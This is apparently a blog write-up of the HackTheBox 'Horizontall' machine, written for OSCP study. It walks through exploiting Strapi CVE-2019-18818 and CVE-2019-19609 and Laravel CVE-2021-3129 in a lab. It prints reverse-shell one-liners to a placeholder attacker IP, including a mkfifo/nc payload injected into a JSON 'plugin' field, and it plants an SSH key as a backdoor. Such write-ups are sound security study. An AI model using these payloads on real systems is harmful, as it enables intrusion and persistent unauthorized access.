Box 6: HTB - Horizontall

This box is relevant to CVE-2019–18818, CVE-2019–19609, CVE-2021–3129.

Victor Le
8 min readNov 11, 2021
HackTheBox - Horizontall


Let’s start with Nmap powerful scanner.

nmap -sV -n -vv -Pn -T4 -p- -A --open

22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.14.0 (Ubuntu)

There are only 2 ports for us to rummage.

Try to modify /etc/hosts to resolve horizontall.htb

Yep, it worked properly:

Use dirsearch tool to enumerate web directories:

python3 -u http://horizontall.htb/ -e html,js,php,old,bak

Use gobuster with vhost or dns mode

How to use Gobuster:

Another way, we can view page source of this web and find 2 Javascript files: app.c68eb462.js and chunk-vendors.0e02b89e.js

Within app.c68eb462.js file, we can find a new subdomain of this host (api-prod.horizontall.htb) and continue to add this to /etc/hosts

Then, I found some juicy things and hidden directories with my fav tool dirsearch:

python3 -u http://api-prod.horizontall.htb/ -e <extension list>

Try to access login page, but we don’t have any clue about admin credential.

Check the path /review that we have found above

Woah, weird web page! I don’t know what these mean? Maybe they’re reviews from the customers

Find a hidden file init when loading the Login page:

Access this file: http://api-prod.horizontall.htb/admin/init. Then it displayed a JSON string with strapiVersion: "3.0.0-beta.17.4".

Initial Shell Vulnerability Exploited

Use searchsploit or → I found PoC code for this version at:

This web version has 2 vulnerabilities CVE-2019-18818, CVE-2019-19609 for us to abuse, therefore, we also can use both 2 vulns to establish an attack chain for our purpose.

The 1st one is resetting the password without any authentication. The 2nd one is abusing Strapi plugin to launch the RCE attack.

There’re 2 methods for us to proceed, you can try both of them:

  • Run the exploit script directly.
  • Use BurpSuite to attack manually, it take us more effort but help us to understand the exploit clearly.

Method 1: Run the exploit script directly

You can find a lot of exploit scripts for these CVEs. Remember to input enough parameters to run the exploit effectively.


The result from running the exploit script authored by Musyoka Ian. We’ll surely reset the password successfully, and then fetch the JSON Web Token for the login session.

After getting the JWT from running above script, I spawned a reverse shell to my Kali machine. Execute the command as below:

bash -c 'bash -i >& /dev/tcp/<attacker_IP>/<port> 0>&1'Options:
-c : option executes the commands from a string; i.e. everything inside the quotes

On our Attacker machine, let’s run netcat tool to open the local port for listening:

sudo nc -lvnp <listening_port>

Method 2: Use BurpSuite to create HTTP requests (exploit manually)

Based Python code from Musyoka Ian’s, we can digest its code lines and create HTTP requests by ourselves to exploit this CVE vuln slowly.

First of all, we create a HTTP POST request to reset the password without authorization. Please take the 'data' into account. After POST this request, we expect to receive the JWT from Strapi web server.

Password reset was successfully

Next, we gonna abuse the previous token, combine with the plugin to launch the RCE attack.

The data will be like this:

{ "plugin":"documentation && $(rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc <attacker_IP> <port> >/tmp/f)", "port":"80" }

Triggering Remote code executing

After sending this request, we will get the same thing like we did when running the attack scripts.

Reverse shell was established

After getting the bash shell, I easily moved to user’s home directory → Capture the flag in file user.txt:

User Flag

Privilege Escalation

After connecting successfully, I recommend that we should create a backdoor so we’ll be able to reconnect with SSH, in case we lose the reverse connection.

Firstly, we need to generate a key-pair used for SSH login.

ssh-keygen -t rsa

In next step, we must copy the public key to the web server through reverse shell gotten before. Normally, I build up a web server on my local machine to contain this public key. Remember to move to the directory containing the key-pair before using command as below:

sudo python3 -m http.server 80

On web server CLI, you can use wget or curl command to download the public key. Then, we have to copy this key to the ~/.ssh/ directory and override the file authorized_keys with our public key (

curl http://<attacker_ip>:<port>/ --output
wget http://<attacker_ip>:<port>/

At the moment, we can connect SSH with our private key (id_rsa). Use this command: ssh -i id_rsa strapi@

SSH with the private key

Use bash -i to get the interactive tty shell for easier manipulation.

Basically, I run command netstat -nao to check all of listening/hidden ports on this server. Besides port 80, 22 (highlighted with yellow), we detect there’re some other strange ports (highlighted with green), which only bind to loopback interface and cannot be accessed from external hosts.

You should ignore all of the connections highlighted with red color without hesitation. These connections are from the other HTB players, like you and me.

netstat -nao

Run SSH Local Port Forwarding technique. If this’s the first time you’ve heard about SSH Tunneling (like me), let’s vitsit this for detailed explanation.

In summary, SSH Local port forwarding allows you to forward the traffic on a port of your local computer to the SSH server, which is forwarded to a destination server. Now, SSH will bind to a specific port on your computer. Any traffic that comes to this port is sent to the SSH server. Then, the traffic received is sent to the port of destination server, which can be the server itself or another server in internal network.

Note that the destination to which the SSH server forwards the traffic is from the perspective of the server itself. This has some interesting implications. Say for example, there’s a single server having public SSH access in your company. You want to connect to the database server, which is running in the internal network. After configuring local port forwarding, you only need to access the port on your computer to connect to the service port on remote host.

At present, run the command to forward traffic to port 8000 on Strapi server:

ssh -i id_rsa -L 8000: strapi@horizontall.htb

From now on, every single time I access port 8000 TCP on my PC, the connection will be automatically redirected to the Strapi web server, but on the port 8000 too.

Identifed Laravel web service is running on this vague port.

Laravel web homepage

Version: Laravel v8 (PHP v7.4.18)

With, you can easily find that Laravel version is vulnerable with CVE-2021–3129.

Extra info, all of system using Laravel version 8.4.2 and lower are vulnable with this RCE exploit.

Another (offline) way for searching, we can use command searchsploit . The Exploit Database provides a downloadable archived copy of all the hosted exploit code. This archive is included by default in Kali in the exploitdb package. We recommended that you update the package before any assessment in order to ensure that you have the latest exploits. The local copy of the Exploit Database archive is stored under /usr/share/exploitdb/. This directory is split in two major sections, exploits and shellcodes.

Command Usage: searchsploit <key_word> ...

The result from command is similar with the one from The difference is that we can find the exploit script on our own machine and run it directly. As mentioned before, it’s located in /usr/share/exploitdb/exploits/php/webapps/

Nevertheless, I tried to use another script for this exploitation from: (As of this writing, this link has been removed for no reason)

The 1st attempt: Failed!

Failure at the 1st attempt

The 2nd one after a while: Successful. I’ve also got the root flag quickly.

Successfully exploited!

In general, this box is relatively easy for beginners. It just leans toward Enumeration and searching for Public exploits. To gain more knowledge, you can dig deeper about CVE-2021–3129 at this article:

Because I’m not familiar with PHP and Laravel as well, it took me several days to comprehend and digest this CVE report. It mostly abuses PHP built-in wrappers with the filesystem functions (filter a stream, encode/decode, i-convert,…) and LFI vulns to execute the RCE in this Laravel version.

Hope that i have ability to publish another single post to clarify this exploit in the next few days.

Finally, I end the 6th box here on my journey to study OSCP. All comments and criticisms from you will help me improve the quality much more. It’ll be a long road ahead 💪